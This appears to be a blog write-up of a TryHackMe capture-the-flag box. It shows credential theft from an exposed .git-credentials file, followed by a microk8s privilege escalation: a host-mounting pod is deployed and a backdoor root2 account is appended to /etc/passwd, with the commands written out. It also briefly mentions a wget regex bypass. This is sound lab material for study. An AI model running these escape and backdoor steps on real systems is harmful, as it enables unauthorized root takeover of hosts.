It’s been a month; really. What have I been doing in all this time? Stuff, but nothing worth noting. I’ve done some VulnHub boxes, some RootMe stuff, a bit of THM and a few other things but nothing worth making any particular notes about. But, this one was a bit more novel so here goes. This is Frank & Herby make an app, which is Medium rated.

We get a few clues in the description and questions:

Learn how the misconfiguration of containers can lead to opportunities for some and disasters for others.

Containers are really cool, but they have security considerations just like everything else. Break into the box and then figure out how to get root access!

This box will require some research into how to use microk8s.

Our story so far….
Two developers are venturing into the world of Kubernetes. Little do these developers know that their lack of understanding in ‘k8s’, containers, and git has left their resources open to exploitation!

And the questions?

  1. What port has a webpage frank was able to stand up?
  2. What did frank leave exposed on the site?
  3. What is the user.txt flag?
  4. What is the root.txt flag?

Wow, we’ve got a bit to unpack here. We know we’re looking for something on a website, and we’ll be playing with Kubernetes, which I know very little about.

We’ll skip over the first part, because frankly it’s not that interesting. The file we want is .git-credentials and it’s on a website on Port 31337, which I found very easily with some enum. .git-credentials is url-encoded but once we decode it we have creds for frank and we can SSH in.

└─# ssh frank@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:JVbSbQGZ6S0I00f3YqCarCQKCFZPnOwZw02dn143Xog.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
frank@'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:
 * Management:
 * Support:

 System information disabled due to load higher than 1.0

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

116 updates can be installed immediately.
5 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Oct 29 10:47:08 2021 from

To start with I blundered about in the dark, but eventually I figured this out. Rather than outline my mistakes, I’ll cut to the chase. We can list the pods available:

frank@dev-01:~$ microk8s.kubectl get pods -A
container-registry registry-9b57d9df8-2qbbs 1/1 Running 8 34d
kube-system hostpath-provisioner-5c65fbdb4f-29k5w 1/1 Running 8 34d
default nginx-deployment-7b548976fd-77v4r 1/1 Running 2 10d
kube-system coredns-7f9c69c78c-hpsnw 1/1 Running 7 34d
kube-system calico-node-6595k 1/1 Running 8 34d
kube-system calico-kube-controllers-f7868dd95-xkk4w 1/1 Running 8 34d

So essentially we only have one container of interest; nginx. This article describes the technique we’re going to use. We need to edit or create a yaml file; I choose to start with the existing one that was used to deploy the pod in the first place. As it happens, it’s this one:

frank@dev-01:~$ cd ~/repos/dk-ml
frank@dev-01:~/repos/dk-ml$ ls -lash
total 36K
4.0K drwxrwxr-x 5 frank frank 4.0K Oct 27 19:50 .
4.0K drwxrwxr-x 3 frank frank 4.0K Oct 27 19:57 ..
4.0K drwxrwxr-x 8 frank frank 4.0K Oct 27 18:31 .git
4.0K -rw-rw-r-- 1 frank frank   72 Oct 27 18:31
4.0K drwxr-xr-x 5 frank frank 4.0K Oct 27 19:57 assets
4.0K drwxrwxr-x 4 frank frank 4.0K Oct 27 19:02 bootstrap-nginx-docker
4.0K -rw-rw-r-- 1 frank frank  427 Oct 27 19:42 nodeport.yaml
4.0K -rw-rw-r-- 1 frank frank    1 Oct 27 19:03 test.txt
4.0K -rw-rw-r-- 1 frank frank  569 Oct 27 19:47 test.yaml
frank@dev-01:~/repos/dk-ml$ cp test.yaml old.yaml

We can pretty much use the example provided at the link above, except the image name is nginx and we have to provide the IP/port per the original test.yaml (which I copied to old.yaml). I could show it here but I forgot to cat the files before the box closed, so you’ll have to take my word for it. The reason we can’t just use:

image: ubuntu:latest

from the provided example is that it tries to pull from an online repo and the box doesn’t have an internet connection. We might be able to host an image ourselves….hmmm. Anyway we can use the nginx one just fine. Next we do:

frank@dev-01:~/repos/dk-ml$ microk8s.kubectl apply -f test.yaml
pod/hostmount created

And if we run-run

microk8s.kubectl get pods -A

we have a new pod in addition to the other ones:

default hostmount 1/1 Running 0 4m6s

Goodo. Next it’s:

frank@dev-01:~/repos/dk-ml$ microk8s.kubectl exec --stdin --tty hostmount -- /bin/bash
root@hostmount:/# id
uid=0(root) gid=0(root) groups=0(root)

or some variation thereof; the example from the article:

microk8s.kubectl exec -it hostmount /bin/bash

does not work.

This one does though:

microk8s.kubectl exec -it hostmount -- /bin/bash

Syntax eh.

Once we are there, we can go to /opt/root and find the root filesystem; I add good old root2 to /etc/passwd:

root@hostmount:/opt/root/etc# echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> passwd
root@hostmount:/opt/root/etc# exit
frank@dev-01:~/repos/dk-ml$ su root2
root@dev-01:/home/frank/repos/dk-ml# cd /root
root@dev-01:~# ls -lash
total 32K
4.0K drwx------  4 root root 4.0K Oct 29 10:17 .
4.0K drwxr-xr-x 21 root root 4.0K Oct 29 10:15 ..
   0 lrwxrwxrwx  1 root root    9 Oct 29 10:17 .bash_history -> /dev/null
4.0K -rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
4.0K -rw-r--r--  1 root root  161 Dec  5  2019 .profile
4.0K drwx------  2 root root 4.0K Oct  3 15:29 .ssh
4.0K -rw-------  1 root root  705 Oct 27 20:19 .viminfo
4.0K -rw-r--r--  1 root root   21 Oct 27 20:20 root.txt
4.0K drwxr-xr-x  5 root root 4.0K Oct  3 16:53 snap
root@dev-01:~# cat root.txt
root@dev-01:~# Connection to closed by remote host.
Connection to closed.

Note! Pay close attention to the directory I was in: root@hostmount:/opt/root/etc. Going to /etc will not work, because that is for the container and not where the host is mounted. Anyway this was interesting which is why I’m recording it here.

Also I did Minotaur’s Labyrinth but there wasn’t anything too novel there. Except for the fact that wget doesn’t need http:// so you can defeat a regex with it; maybe I’ll write it up….maybe not.